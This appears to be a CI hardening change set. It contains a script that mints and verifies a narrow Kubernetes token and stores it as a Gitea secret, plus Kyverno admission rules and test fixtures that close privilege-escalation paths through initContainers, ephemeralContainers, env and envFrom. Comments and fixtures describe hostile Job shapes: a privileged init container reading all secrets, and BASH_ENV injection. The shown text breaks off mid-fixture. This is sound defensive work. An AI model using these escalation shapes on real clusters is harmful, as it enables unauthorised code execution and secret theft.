JOBTPL="${REPO_ROOT}/conformance/incluster/chainsaw-job.yaml"
if grep -q 'initContainers' "$JOBTPL" 2>/dev/null; then
pass "chainsaw-job.yaml declares an initContainers block (workspace population)"
else
fail_arm "chainsaw-job.yaml has no initContainers — 'workspace' is an empty emptyDir and the suite is never delivered (plan §3 item 2)"
fi
if grep -q "$RUNNER_IMAGE_PREFIX" "$JOBTPL" 2>/dev/null; then
pass "chainsaw-job.yaml uses the digest-pinned image the admission policy admits"
else
fail_arm "chainsaw-job.yaml does not use ${RUNNER_IMAGE_PREFIX}… — every triggered Job would be DENIED by ${POLICY}"
fi
# R3: ci/conformance.sh actually drives the in-cluster Job. Today it mentions
# CONFORMANCE_TRIGGER_KUBECONFIG only in a TODO comment and otherwise runs run.sh LOCALLY in
# the CI job — where there is no credential at all (the runner sets
# automountServiceAccountToken: false by design), so it can only scaffold-skip. Hence the
# check must ignore comment lines: a mention in prose is not an implementation.
#
# ONE awk, NOT `grep -v … | grep -q …`: under `set -o pipefail` a successful `grep -q` exits
# early, the upstream grep takes EPIPE, and the pipeline reports non-zero — which would read
# here as "unwired" exactly when the seam IS wired. A single process cannot have that bug.
CONF_STAGE="${REPO_ROOT}/ci/conformance.sh"
if awk '!/^[[:space:]]*#/ && /CONFORMANCE_TRIGGER_KUBECONFIG/ { found = 1 } END { exit !found }' \
"$CONF_STAGE" 2>/dev/null; then
pass "ci/conformance.sh references CONFORMANCE_TRIGGER_KUBECONFIG in code (in-cluster trigger path wired)"
else
fail_arm "ci/conformance.sh mentions CONFORMANCE_TRIGGER_KUBECONFIG only in comments — the trigger path is UNIMPLEMENTED (plan §3 item 4); arming ${VARIABLE} now only changes which way the stage fails"
fi
info ""
info "precondition tally: mint-blocking failures=${MINT_FAIL} arm-blocking failures=${ARM_FAIL}"
if [ "$MINT_FAIL" -gt 0 ]; then
cat >&2 <<EOF
REFUSING TO MINT. ${MINT_FAIL} cluster-side precondition(s) failed.
Minting a token for ${NS}/${SA} while the admission boundary is absent/Audit/unready hands CI
an identity that can create a Job running as ${RUNNER_SA} (nodes/patch, pods/exec,
namespaces/patch) with an arbitrary command. That is precisely the escalation
docs/plans/l2-l3-conformance-ci-wiring.md §4 exists to close, and RBAC cannot close it.
Fix the cluster side first (reconcile platform/kyverno/admission/ and conformance/incluster/,
confirm the ClusterPolicy is Enforce + Ready), then re-run. Nothing was created.
EOF
exit 1
fi
if $ARM && [ "$ARM_FAIL" -gt 0 ]; then
cat >&2 <<EOF
REFUSING TO ARM ${VARIABLE}. ${ARM_FAIL} repo-side precondition(s) failed.
Measured 2026-09-29: with ${VARIABLE}=true and no working trigger path, conformance/run.sh
scaffold-skips all 54 tests at rc 0 and ci/conformance.sh used to print
"[ ok ] L2/L3 conformance passed" — a fake green on an enforcing required status check. The
guard now in ci/conformance.sh turns that into exit 1 instead, so arming today does not
enable L2/L3: it breaks every PR while proving nothing.
Land plan §3 items 1, 2 and 4 first. Re-run WITHOUT --arm-cluster-available to provision the
secret in the meantime — that part is safe and is step 6's intended order.
EOF
exit 1
fi
if $DRY_RUN; then
step "DRY RUN — stopping here. Nothing was minted, nothing was written."
info "secret that WOULD be written: ${SECRET} (repo ${OWNER}/${REPO})"
info "variable that WOULD be set: none — ${VARIABLE} is never touched in --dry-run"
# Read-only visibility into what is already there. Gitea never returns secret VALUES.
names="$(basic "${API}/actions/secrets" | jq -rc '[.. | objects | select(has("name")) | .name] | unique')" || true
info "existing Actions secret names: ${names:-<unreadable>}"
cur="$(basic -o "${WORK}/var.json" -w '%{http_code}' "${API}/actions/variables/${VARIABLE}")" || true
if [ "$cur" = 200 ]; then
info "existing ${VARIABLE} = $(jq -r '.data // "<no data field>"' "${WORK}/var.json")"
else
info "existing ${VARIABLE}: not set (HTTP ${cur})"
fi
exit 0
fi
# ========================================================================================
# 2. MINT the ServiceAccount token (TokenRequest). This is the only write this script makes
# against the cluster, and it creates no durable object.
# ========================================================================================
step "minting a ServiceAccount token for ${NS}/${SA} (requested duration ${DURATION})"
TOKEN="$(kubectl --context "$KCTX" -n "$NS" create token "$SA" --duration="$DURATION")" \
|| die "kubectl create token failed for ${NS}/${SA}"
[ -n "$TOKEN" ] || die "kubectl create token returned an empty token"
info "got a ${#TOKEN}-character token (value NOT shown)"
# Report the ACTUAL expiry from the JWT rather than trusting --duration: the API server caps
# TokenRequest lifetimes (--service-account-max-token-expiration) and silently shortens.
jwt_exp() {
local payload pad b64
payload="$(cut -d. -f2 <<<"$1")"
pad=$(( (4 - ${#payload} % 4) % 4 ))
b64="$(tr '_-' '/+' <<<"$payload")$(printf '%*s' "$pad" '' | tr ' ' '=')"
printf '%s' "$b64" | base64 -d 2>/dev/null | jq -r '.exp // empty' 2>/dev/null || true
}
exp="$(jwt_exp "$TOKEN")"
if [ -n "$exp" ]; then
info "token expires: $(date -u -d "@${exp}" '+%Y-%m-%dT%H:%M:%SZ' 2>/dev/null || echo "epoch ${exp}") — re-run this script to rotate"
else
warn "could not decode the token's exp claim; lifetime is UNVERIFIED (requested ${DURATION})"
fi
# ========================================================================================
# 3. ASSEMBLE the kubeconfig — SA token + cluster CA + server. Nothing else.
#
# The CA and the server URL are read from the operator's context, but the operator's
# client certificate/key are NEVER copied: only .cluster fields are extracted. `config
# view --raw` output is held in a variable and discarded, never printed.
# Built with jq (not `kubectl config set-credentials --token=…`) so the token never
# appears in argv where `ps` can see it.
# ========================================================================================
step "assembling the kubeconfig (SA token only — never cluster-admin, never the operator's)"
raw="$(kubectl --context "$KCTX" config view --raw --minify -o json)" \
|| die "could not read context '${KCTX}' from the operator kubeconfig"
SERVER="$(jq -r '.clusters[0].cluster.server // empty' <<<"$raw")"
CADATA="$(jq -r '.clusters[0].cluster["certificate-authority-data"] // empty' <<<"$raw")"
CAFILE="$(jq -r '.clusters[0].cluster["certificate-authority"] // empty' <<<"$raw")"
INSECURE="$(jq -r '.clusters[0].cluster["insecure-skip-tls-verify"] // false | tostring' <<<"$raw")"
unset raw
[ -n "$SERVER" ] || die "context '${KCTX}' has no cluster.server"
if [ -n "$SERVER_OVERRIDE" ]; then
info "overriding server ${SERVER} -> ${SERVER_OVERRIDE}"
SERVER="$SERVER_OVERRIDE"
fi
case "$SERVER" in
*localhost*|*127.0.0.1*|*://0.0.0.0*)
die "server '${SERVER}' is loopback — the CI runner pod cannot reach it. Pass --server with the address the runner uses (the kube-API VIP)." ;;
esac
if [ -z "$CADATA" ] && [ -n "$CAFILE" ]; then
[ -r "$CAFILE" ] || die "certificate-authority file '${CAFILE}' is not readable"
CADATA="$(base64 -w0 <"$CAFILE")"
fi
[ -n "$CADATA" ] || die "no cluster CA available for '${KCTX}' (insecure-skip-tls-verify=${INSECURE}); refusing to emit a kubeconfig that trusts anything"
[ "$INSECURE" = "false" ] || die "context '${KCTX}' sets insecure-skip-tls-verify; refusing to propagate that into CI"
info "server: ${SERVER}"
info "CA: ${#CADATA} base64 characters embedded (public certificate, not a secret)"
jq -n --arg srv "$SERVER" --arg ca "$CADATA" --arg tok "$TOKEN" --arg ns "$NS" --arg sa "$SA" '
{
apiVersion: "v1",
kind: "Config",
clusters: [ { name: "conformance", cluster: { server: $srv, "certificate-authority-data": $ca } } ],
users: [ { name: $sa, user: { token: $tok } } ],
contexts: [ { name: "conformance", context: { cluster: "conformance", user: $sa, namespace: $ns } } ],
"current-context": "conformance"
}' >"$KC"
chmod 600 "$KC"
info "kubeconfig written to the temp dir: $(wc -c <"$KC") bytes (content NOT shown)"
# Prove kubectl can PARSE the file we generated (JSON is valid YAML, but assert it rather
# than assume it) — this prints only the server we already printed.
parsed="$(kubectl --kubeconfig "$KC" config view -o jsonpath='{.clusters[0].cluster.server}')" \
|| die "kubectl cannot parse the generated kubeconfig"
[ "$parsed" = "$SERVER" ] || die "generated kubeconfig parses to server '${parsed}', expected '${SERVER}'"
pass "kubectl parses the generated kubeconfig"
# ========================================================================================
# 4. PROVE it is the narrow identity. Two independent proofs:
# a) who the token authenticates AS (SelfSubjectReview)
# b) an allow/deny matrix (SelfSubjectAccessReview) — both halves matter: "can create
# jobs" proves it works, "cannot get secrets / delete jobs / exec" proves it is not
# something wider that happens to include the trigger rights.
# All read-only. `auth can-i` answers from the API server's own authorizer.
# ========================================================================================
step "verifying the credential is the NARROW trigger identity"
EXPECT_USER="system:serviceaccount:${NS}:${SA}"
if who="$(kubectl --kubeconfig "$KC" auth whoami -o jsonpath='{.status.userInfo.username}' 2>/dev/null)"; then
[ "$who" = "$EXPECT_USER" ] || die "token authenticates as '${who}', expected '${EXPECT_USER}' — WRONG CREDENTIAL, nothing stored"
pass "authenticates as ${who}"
else
warn "'kubectl auth whoami' unavailable (older kubectl / SelfSubjectReview denied) — identity UNVERIFIED by this check; the matrix below still constrains it"
fi
# A real authorization round-trip, not just a review: `list jobs` is granted by the Role.
kubectl --kubeconfig "$KC" -n "$NS" get jobs -o name >/dev/null \
|| die "the minted credential cannot list Jobs in ns ${NS} — the RoleBinding is not effective; nothing stored"
pass "can list Jobs in ns ${NS} (end-to-end authentication + authorization)"
cani() { # cani <expected yes|no> <verb> <resource...>
local want="$1"; shift
local got
got="$(kubectl --kubeconfig "$KC" auth can-i "$@" 2>/dev/null || true)"
case "$got" in
yes|no) : ;;
*) die "auth can-i '$*' returned '${got:-<nothing>}' — cannot measure the identity's rights; refusing to store an unverified credential" ;;
esac
if [ "$got" = "$want" ]; then
pass "can-i $* -> ${got} (expected)"
else
die "can-i $* -> ${got}, expected ${want}. This credential is NOT the narrow trigger identity described in conformance/incluster/rbac.yaml. Nothing stored. Do NOT widen that Role to make this pass — investigate what it is actually bound to."
fi
}
# Granted by the trigger Role (create/get/list/watch jobs; get/list/watch pods + pods/log).
cani yes create jobs.batch -n "$NS"
cani yes get pods -n "$NS"
cani yes get pods/log -n "$NS"
# Explicitly NOT granted — each is a specific escape route the Role's comments call out.
cani no delete jobs.batch -n "$NS" # a trigger that can delete can hide a failed run
cani no create pods/exec -n "$NS" # no execution channel into the runner pod
cani no get secrets -n "$NS"
cani no create jobs.batch -n default # namespaced Role: no reach outside ns conformance
cani no get nodes # the RUNNER has nodes/patch; the trigger must not
cani no '*' '*' --all-namespaces # not cluster-admin, stated as a measurement
# ========================================================================================
# 5. STORE as the Gitea Actions repo secret, then VERIFY BY READING IT BACK (lesson 2).
# The body goes in a 0600 file so the token is not in argv.
# ========================================================================================
step "storing the kubeconfig as repo Actions secret ${SECRET}"
jq -n --rawfile d "$KC" '{data:$d}' >"${WORK}/body.json"
chmod 600 "${WORK}/body.json"
code="$(basic -o "${WORK}/put.out" -w '%{http_code}' -X PUT \
-H 'Content-Type: application/json' --data @"${WORK}/body.json" \
"${API}/actions/secrets/${SECRET}")"
unset TOKEN
rm -f "${WORK}/body.json" "$KC"
if [ "$code" != 201 ] && [ "$code" != 204 ]; then
# Safe to echo: the response body is Gitea's error message, not our payload. HTTP 400
# "invalid secret name" here means the name hit the reserved GITEA_ prefix (lesson 1).
die "PUT ${SECRET} failed: HTTP ${code} -- $(head -c 300 "${WORK}/put.out" 2>/dev/null)"
fi
info "PUT returned HTTP ${code}"
# curl -sS exits 0 on an HTTP error, so the status check above is necessary but NOT
# sufficient: read the object back. Gitea never returns secret VALUES, so this proves
# PRESENCE BY NAME only — say so rather than implying the content was checked.
names="$(basic "${API}/actions/secrets" | jq -rc '[.. | objects | select(has("name")) | .name] | unique')"
grep -q "$SECRET" <<<"$names" \
|| die "PUT reported HTTP ${code} but ${SECRET} is NOT in ${names} — refusing to claim success"
pass "stored and VERIFIED PRESENT by read-back: ${names}"
info "(read-back proves the secret EXISTS; Gitea never returns secret values, so its CONTENT"
info " is proven only by the first CI run that uses it — see the NOTE below.)"
info ""
info "FOR WHOEVER WRITES plan §3 item 4: this secret holds the kubeconfig CONTENT, not a path."
info "The plan's sketch writes 'kubectl --kubeconfig=\$CONFORMANCE_TRIGGER_KUBECONFIG', which"
info "would treat it as a filename. ci/conformance.sh must write the env var into a 0600 temp"
info "file (umask 077, trap-removed) and pass THAT path — an Actions secret is a string, so a"
info "kubeconfig cannot reach CI any other way."
# ========================================================================================
# 6. vars.CLUSTER_AVAILABLE — the loaded gun. Only here, only on request, only confirmed.
# ========================================================================================
if ! $ARM; then
cat <<EOF
==> ${VARIABLE} NOT TOUCHED (no --arm-cluster-available). This is the safe default.
The secret is in place; the conformance job stays gated off until the variable is set. That
is plan §5's order: land items 1-6, prove them, and only then flip step 7's switch.
EOF
else
step "arming vars.${VARIABLE}=true — every precondition above is green"
cat <<EOF
This makes .gitea/workflows/gate.yml's conformance job RUN on every PR. If the
in-cluster trigger path misbehaves, ci/conformance.sh will BLOCK (exit 1) rather than
fake a green — so the failure mode is loud PRs, not silent false confidence. Undo with:
curl -X DELETE .../repos/${OWNER}/${REPO}/actions/variables/${VARIABLE}
EOF
[ -t 0 ] || die "refusing to arm ${VARIABLE} non-interactively — this needs a human confirmation"
printf ' Type exactly "ARM %s" to proceed: ' "$VARIABLE"
read -r confirm
[ "$confirm" = "ARM ${VARIABLE}" ] || die "not confirmed (got '${confirm}') — ${VARIABLE} unchanged. The secret IS stored."
# Gitea's variables API: POST creates, PUT updates, and the body field is `value` — NOT
# `data` as in the secrets API above. Try create, fall back to update. The value "true" is
# not a secret, so response bodies are printed here to make a failure diagnosable.
vcode="$(basic -o "${WORK}/var.out" -w '%{http_code}' -X POST \
-H 'Content-Type: application/json' --data '{"value":"true"}' \
"${API}/actions/variables/${VARIABLE}")"
if [ "$vcode" != 201 ] && [ "$vcode" != 204 ]; then
info "POST returned HTTP ${vcode} ($(head -c 200 "${WORK}/var.out" 2>/dev/null)); trying PUT (variable may already exist)"
vcode="$(basic -o "${WORK}/var.out" -w '%{http_code}' -X PUT \
-H 'Content-Type: application/json' \
--data "$(jq -n --arg n "$VARIABLE" '{name:$n,value:"true"}')" \
"${API}/actions/variables/${VARIABLE}")"
fi
[ "$vcode" = 201 ] || [ "$vcode" = 204 ] \
|| die "could not set ${VARIABLE}: HTTP ${vcode} -- $(head -c 300 "${WORK}/var.out" 2>/dev/null)"
info "write returned HTTP ${vcode}"
# Unlike a secret, a variable's value IS readable — so verify the VALUE, not just presence.
# gate.yml compares `vars.CLUSTER_AVAILABLE == 'true'`, so it must be exactly "true".
gcode="$(basic -o "${WORK}/varget.json" -w '%{http_code}' "${API}/actions/variables/${VARIABLE}")"
[ "$gcode" = 200 ] || die "stored HTTP ${vcode} but GET ${VARIABLE} returned HTTP ${gcode} — refusing to claim success"
val="$(jq -r '.data // .value // empty' "${WORK}/varget.json")"
[ "$val" = "true" ] || die "${VARIABLE} reads back as '${val}', not 'true' — gate.yml compares against 'true' exactly"
pass "${VARIABLE}=${val} stored and VERIFIED by read-back"
fi
cat <<EOF
NEXT — and none of it is proven until you watch it happen:
1. Open a THROWAWAY PR. Read the conformance job's LOG, not its tick: a skipped Gitea job
reports success ("Has been skipped"), and a green tick is not evidence anything ran.
2. Confirm a Job appeared in ns ${NS}, ran the touched --requirements subset, and that its
artifacts came back. Then break an L3 test deliberately and confirm the gate BLOCKS.
3. Only after seeing BOTH directions should the conformance check be added to branch
protection (infra/gitea/require-gate.sh's status_check_contexts).
4. Diary the token expiry printed above. Re-run this script to rotate; CI fails loudly
(401 on the trigger) rather than skipping when it lapses.
ROLLBACK: DELETE the ${VARIABLE} variable (instant SKIP, gate reverts to L0/L1-only) and/or
DELETE the ${SECRET} secret. The token itself is revoked by deleting the ${NS}/${SA}
ServiceAccount, which Flux will recreate with a fresh identity.
EOF
@@ -142,3 +142,236 @@ spec:
- key: "{{ regex_match('^(--layer|--requirements|--include-scope|--strict-coverage|[A-Za-z0-9][A-Za-z0-9,._-]*)$', element) }}"
operator: Equals
value: false
# =========================================================================================
# ADDED 2026-09-29 — THE THREE RULES ABOVE WERE BYPASSABLE VIA `initContainers`.
#
# Every rule above reads `spec.template.spec.containers` (rule 1's pattern, rule 3's
# `containers[0].args`) or `volumes` (rule 2). NONE of them read `initContainers`. So the
# exact escalation this policy exists to stop — the privileged `conformance-runner` SA
# executing an arbitrary command, because Kubernetes places no `use` check on
# `serviceAccountName` — was reachable one field over, with `containers[0]` left fully
# compliant. MEASURED with the pinned CLI (kyverno v1.19.0) before this rule existed:
#
# a Job with serviceAccountName conformance-runner and an initContainer
# `docker.io/library/alpine:latest`, `privileged: true`, running `kubectl get secrets -A`
# -> pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # ADMITTED
#
# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
#
# WHY THIS PINS A PATH IN THE IMAGE RATHER THAN VETTING A SCRIPT. An init container IS
# needed — the suite has to be cloned at the commit under test. But while the clone logic
# lived inline as `command: ["/bin/bash","-c"]` + `args: [<script>]`, no policy could tell
# the committed script from an attacker's: both are just `args` on a shell. So the clone
# logic moved into the runner image at a fixed path
# (conformance/incluster/conformance-clone -> /usr/local/bin/conformance-clone) and this
# rule pins `command` to that path with NO args. An admitted init container therefore
# carries no caller-supplied code at all — only the commit SHA, in env, which the entrypoint
# itself validates against ^[0-9a-f]{40}$.
#
# `deny` conditions rather than a `pattern`: a Kyverno array pattern asserts "at least one
# element matches", which would admit the committed clone step PLUS an arbitrary second
# init container — the same class of hole rule 2's comment describes for volumes.
# =========================================================================================
- name: trigger-initcontainers-must-be-the-committed-clone-step
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
# As two separate `all` entries it is a schema error ("match resources not specified")
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may carry at most ONE initContainer, and it must be the
committed clone step: the digest-pinned conformance-runner image,
command ["/usr/local/bin/conformance-clone"], NO args, non-root, no privilege
escalation, not privileged. An initContainer running a shell with a caller-supplied
script is arbitrary code execution as the privileged conformance-runner SA — the
escalation the rest of this policy exists to prevent. See
conformance/incluster/conformance-clone.
foreach:
- list: "request.object.spec.template.spec.initContainers"
deny:
conditions:
any:
# At most one. The committed run needs exactly one clone step; a second
# init container has no legitimate purpose and is how you smuggle one in.
- key: "{{ length(request.object.spec.template.spec.initContainers) }}"
operator: GreaterThan
value: 1
# Digest-pinned under the conformance repository path — same rule as
# containers[0], same honest limit (see IMAGE PINNING in the header).
- key: "{{ regex_match('^gitea\\.home\\.keithjackson\\.dev/home-network/conformance-runner@sha256:.+$', element.image) }}"
operator: Equals
value: false
# The baked-in entrypoint, exactly — not a shell, not a second path.
# `join` so this compares a STRING: Equals/NotEquals on arrays is not
# dependable, and `["/bin/sh","-c",...]` must not pass by matching element 0.
- key: "{{ join(' ', not_null(element.command, `[]`)) }}"
operator: NotEquals
value: "/usr/local/bin/conformance-clone"
# NO ARGS. This is the whole point: args on an init container are
# caller-supplied code. Only env may be passed, and the entrypoint validates it.
- key: "{{ length(not_null(element.args, `[]`)) }}"
operator: GreaterThan
value: 0
# not_null(), NOT `||`: JMESPath treats `false` as falsy, so
# `element.securityContext.allowPrivilegeEscalation || `true`` would rewrite
# the COMPLIANT value false into true and deny every good Job.
- key: "{{ not_null(element.securityContext.runAsNonRoot, `false`) }}"
operator: NotEquals
value: true
- key: "{{ not_null(element.securityContext.allowPrivilegeEscalation, `true`) }}"
operator: NotEquals
value: false
- key: "{{ not_null(element.securityContext.privileged, `false`) }}"
operator: NotEquals
value: false
# =========================================================================================
# ADDED 2026-09-29, same review as the rule above: `ephemeralContainers` is the third
# container list on a PodSpec, and it was as unread as `initContainers` was.
#
# Upstream Kubernetes is BELIEVED to reject `ephemeralContainers` in a Job's pod template
# (the field is settable only through the `pods/ephemeralcontainers` subresource), which
# would make this rule dead weight. THAT WAS NOT VERIFIED against this cluster, and
# "probably rejected upstream" is not a boundary. The rule costs one condition, is a no-op
# when the field is absent, and removes the need to be right about it. If the API server
# does reject it, nothing changes; if it does not, this is the same hole again.
# =========================================================================================
- name: trigger-may-not-declare-ephemeral-containers
# resources AND subjects in the SAME filter entry — see the note on the rules above.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may not declare ephemeralContainers. The committed
conformance run has no use for one, and an ephemeral container is a third container
list running as the privileged conformance-runner SA with an arbitrary command.
deny:
conditions:
all:
- key: "{{ length(not_null(request.object.spec.template.spec.ephemeralContainers, `[]`)) }}"
operator: GreaterThan
value: 0
# =========================================================================================
# ADDED 2026-09-29 — `env` WAS THE NEXT UNREAD FIELD, and it is the same mistake a third time.
#
# The pattern is now unmistakable: this policy pins `command` and `args`, so injection moves
# to whatever adjacent field nobody enumerated. It was `initContainers`, then
# `ephemeralContainers`, and `env` was still wide open — an admitted Job could set ANY
# environment variable on either container.
#
# That is not hypothetical. Both programs the Job runs read their environment:
# * /usr/local/bin/conformance-clone takes CONFORMANCE_GIT_SHA, and accepts
# CONFORMANCE_REPO_URL / CONFORMANCE_SRC only when they EQUAL the values baked into the
# image (it dies on a mismatch rather than honouring a redirect — which is why the
# specific "clone an attacker's repo and run its ./run.sh as conformance-runner" path is
# already closed there, in the image, not here);
# * run.sh takes CONF_ARTIFACTS and CONF_EMIT_ARTIFACTS_TGZ.
# And bash itself takes BASH_ENV, which it sources before a non-interactive script — so
# `command: ["./run.sh"]` plus one env var is enough to change what actually executes.
# Defence in depth belongs here too: the entrypoint's own validation should not be the only
# thing standing between a caller-chosen env var and the privileged SA.
#
# NOT CONSTRAINED, and deliberately: the VALUES, and which Secret a `valueFrom` reads.
# Values are legitimately environment-specific (TMPDIR/HOME differ by image), and
# conformance-runner can already read Secrets in this namespace via its own RBAC, so
# pinning the source Secret would buy nothing. Names are the vector that matters, because a
# name is what a program keys its behaviour on.
# =========================================================================================
- name: trigger-env-names-must-be-the-committed-set
# resources AND subjects in the SAME filter entry — see the note on the rules above.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may set only the committed environment variables. The runner
container may set CONF_ARTIFACTS, CONF_EMIT_ARTIFACTS_TGZ, TMPDIR and HOME; the clone
init container may set CONFORMANCE_GIT_SHA, CONFORMANCE_REPO_URL, CONFORMANCE_SRC,
GITEA_USERNAME, GITEA_TOKEN, TMPDIR and HOME. An arbitrary env var changes what the
pinned command does — BASH_ENV alone is arbitrary code execution as the privileged
conformance-runner SA. Widening this list is a reviewed one-line change.
foreach:
- list: "request.object.spec.template.spec.containers[0].env"
deny:
conditions:
all:
- key: "{{ element.name }}"
operator: AnyNotIn
value:
- CONF_ARTIFACTS
- CONF_EMIT_ARTIFACTS_TGZ
- TMPDIR
- HOME
# Flattened across init containers: the rule above already caps them at one, but this
# must not silently stop checking if that cap is ever relaxed.
- list: "request.object.spec.template.spec.initContainers[].env[]"
deny:
conditions:
all:
- key: "{{ element.name }}"
operator: AnyNotIn
value:
- CONFORMANCE_GIT_SHA
- CONFORMANCE_REPO_URL
- CONFORMANCE_SRC
- GITEA_USERNAME
- GITEA_TOKEN
- TMPDIR
- HOME
- name: trigger-may-not-use-envfrom
# resources AND subjects in the SAME filter entry — see the note on the rules above.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may not use envFrom. It injects an entire ConfigMap or Secret
as environment variables, whose KEYS are not visible in the Job at all — which would
make the env-name allowlist above unenforceable by inspection.
deny:
conditions:
any:
- key: "{{ length(not_null(request.object.spec.template.spec.containers[0].envFrom, `[]`)) }}"
operator: GreaterThan
value: 0
- key: "{{ length(not_null(request.object.spec.template.spec.initContainers[].envFrom[], `[]`)) }}"
operator: GreaterThan
value: 0
@@ -19,20 +19,48 @@ resources:
userinfo: user-info.yaml
results:
# ---- the committed run is ADMITTED ----
# `real-template` is conformance/incluster/chainsaw-job.yaml as the CI trigger renders it:
# init container + env-from-secretKeyRef credential + the two allowed volumes. It is here
# so a template that drifts OUT of admission fails `make -C ci l0` rather than failing at
# 2am against the live cluster. `good-run` remains the minimal shape.
- policy: conformance-trigger-job-shape
rule: trigger-may-create-only-the-committed-conformance-run
kind: Job
resources: [good-run]
resources: [good-run, real-template]
result: pass
- policy: conformance-trigger-job-shape
rule: trigger-volumes-must-be-workspace-or-results
kind: Job
resources: [good-run]
resources: [good-run, real-template]
result: pass
- policy: conformance-trigger-job-shape
rule: trigger-args-must-be-the-committed-flags
kind: Job
resources: [good-run]
resources: [good-run, real-template]
result: pass
# `real-template` is the only fixture WITH an init container, so it is the only one this
# rule reports on — a foreach over an absent list yields no result at all, which is why
# `good-run` is not listed here.
- policy: conformance-trigger-job-shape
rule: trigger-initcontainers-must-be-the-committed-clone-step
kind: Job
resources: [real-template]
result: pass
- policy: conformance-trigger-job-shape
rule: trigger-may-not-declare-ephemeral-containers
kind: Job
resources: [good-run, real-template]
result: pass
# Only `real-template` sets env, so it is the only fixture this rule reports a pass on.
- policy: conformance-trigger-job-shape
rule: trigger-env-names-must-be-the-committed-set
kind: Job
resources: [real-template]
result: pass
- policy: conformance-trigger-job-shape
rule: trigger-may-not-use-envfrom
kind: Job
resources: [good-run, real-template]
result: pass
# ---- THE escalation: runner SA + arbitrary command ----
@@ -55,3 +83,38 @@ results:
kind: Job
resources: [injected-args]
result: fail
# ---- THE SAME ESCALATION VIA `initContainers`, which the three rules above all miss ----
# Each of these has a fully compliant `containers[0]` and was ADMITTED (pass 3, fail 0)
# before `trigger-initcontainers-must-be-the-committed-clone-step` existed. `evil-initcontainer`
# is the coordinator's independent reproduction; keeping it here is what stops the hole
# reopening.
- policy: conformance-trigger-job-shape
rule: trigger-initcontainers-must-be-the-committed-clone-step
kind: Job
resources: [evil-initcontainer, initcontainer-with-args, second-initcontainer]
result: fail
# ---- and via the third container list nobody was reading ----
- policy: conformance-trigger-job-shape
rule: trigger-may-not-declare-ephemeral-containers
kind: Job
resources: [evil-ephemeral-container]
result: fail
# ---- and via `env`, the same mistake a third time ----
# `command` is pinned, so the injection moves to a variable the pinned command honours.
# BASH_ENV is sourced by bash before a non-interactive script, so it alone is arbitrary code
# execution as conformance-runner. Note `injected-initcontainer-env` PASSES the initContainer
# rule — its container shape is perfect and only its env is hostile, which is exactly why the
# env rule has to exist separately.
- policy: conformance-trigger-job-shape
rule: trigger-env-names-must-be-the-committed-set
kind: Job
resources: [injected-env, injected-initcontainer-env]
result: fail
- policy: conformance-trigger-job-shape
rule: trigger-may-not-use-envfrom
kind: Job
resources: [envfrom-whole-secret]
result: fail
@@ -1,4 +1,76 @@
# The committed shape — must be ADMITTED.
# THE COMMITTED TEMPLATE, as conformance/incluster/chainsaw-job.yaml renders it (plan §3
# items 2 and 3): one compliant container, plus a git-clone INIT container, plus the git
# credential as env-from-secretKeyRef rather than a volume — because `workspace` and
# `results` are the only two volume names admission allows. Must be ADMITTED.
#
# This case exists so `make -C ci l0` fails if that template ever drifts out of admission.
# Keep the admission-relevant fields (image, serviceAccountName, command, args, volumes,
# securityContext, and the presence of the init container) in step with it.
#
# The init container carries NO args: its logic is baked into the runner image at
# /usr/local/bin/conformance-clone (source: conformance/incluster/conformance-clone).
# That is what makes `trigger-initcontainers-must-be-the-committed-clone-step` enforceable —
# see `evil-initcontainer` below for the escalation it closes.
apiVersion: batch/v1
kind: Job
metadata:
name: real-template
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
securityContext:
runAsNonRoot: true
runAsUser: 65532
fsGroup: 65532
initContainers:
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/conformance-clone"]
env:
- name: CONFORMANCE_GIT_SHA
value: "0123456789abcdef0123456789abcdef01234567"
# BY SECRET NAME ONLY — and as env, not as a volume.
- name: GITEA_USERNAME
valueFrom:
secretKeyRef: { name: conformance-git-readonly, key: username }
- name: GITEA_TOKEN
valueFrom:
secretKeyRef: { name: conformance-git-readonly, key: token }
volumeMounts:
- { name: workspace, mountPath: /workspace }
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities: { drop: ["ALL"] }
containers:
- name: chainsaw
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
workingDir: /workspace/src/conformance
command: ["./run.sh"]
args: ["--layer", "l2,l3", "--include-scope", "whole-repo", "--requirements", "R-NET-01,R-TLS-02"]
env:
- name: CONF_ARTIFACTS
value: /results
- name: CONF_EMIT_ARTIFACTS_TGZ
value: "1"
volumeMounts:
- { name: workspace, mountPath: /workspace }
- { name: results, mountPath: /results }
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities: { drop: ["ALL"] }
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# The minimal committed shape — must be ADMITTED.
apiVersion: batch/v1
kind: Job
metadata:
@@ -152,3 +224,241 @@ spec:
volumes:
- name: workspace
emptyDir: {}
---
# THE SECOND ESCALATION, and the one the first three rules missed entirely (2026-09-29): a
# fully compliant `containers[0]` beside a PRIVILEGED, arbitrary-image, arbitrary-command
# INIT container running as the privileged conformance-runner SA. Before
# `trigger-initcontainers-must-be-the-committed-clone-step` existed this was ADMITTED —
# `pass: 3, fail: 0` — because every rule read `containers`, never `initContainers`, and
# rule 1's `=(privileged): "false"` only ever applied to `containers[0]`.
#
# This is the coordinator's independent reproduction, kept verbatim so it stays failing.
# Must be DENIED.
apiVersion: batch/v1
